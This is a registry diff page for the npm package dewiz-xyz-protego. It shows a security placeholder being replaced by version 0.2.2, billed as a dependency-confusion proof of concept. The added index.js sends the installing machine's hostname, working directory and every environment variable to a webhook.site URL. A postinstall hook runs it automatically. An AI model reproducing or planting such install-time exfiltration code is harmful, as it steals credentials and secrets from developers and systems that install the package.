dewiz-xyz-protego 0.0.1-security → 0.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dewiz-xyz-protego might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +32 -0
  2. package/package.json +13 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const process = require('process');
4
+
5
+ const data = JSON.stringify({
6
+ hostname: os.hostname(),
7
+ platform: process.platform,
8
+ cwd: process.cwd(),
9
+ env: process.env
10
+ });
11
+
12
+ const options = {
13
+ hostname: 'webhook.site',
14
+ path: '/d96ffadd-e2f8-4e3b-b71e-e0e6ef461eb0', // This is correct — no hash or query
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'Content-Length': Buffer.byteLength(data) // FIXED: use Buffer.byteLength, not data.length
19
+ }
20
+ };
21
+
22
+ const req = https.request(options, (res) => {
23
+ console.log(`Webhook sent. Status: ${res.statusCode}`);
24
+ res.on('data', d => process.stdout.write(d)); // Optional: to show response
25
+ });
26
+
27
+ req.on('error', (error) => {
28
+ console.error(`Error: ${error}`);
29
+ });
30
+
31
+ req.write(data);
32
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "dewiz-xyz-protego",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.2.2",
4
+ "description": "PoC for dependency confusion ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "keywords": [
10
+ "dependency-confusion",
11
+ "Sky",
12
+ "security-research"
13
+ ],
14
+ "author": "NA_RONY",
15
+ "license": "MIT"
6
16
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dewiz-xyz-protego for more information.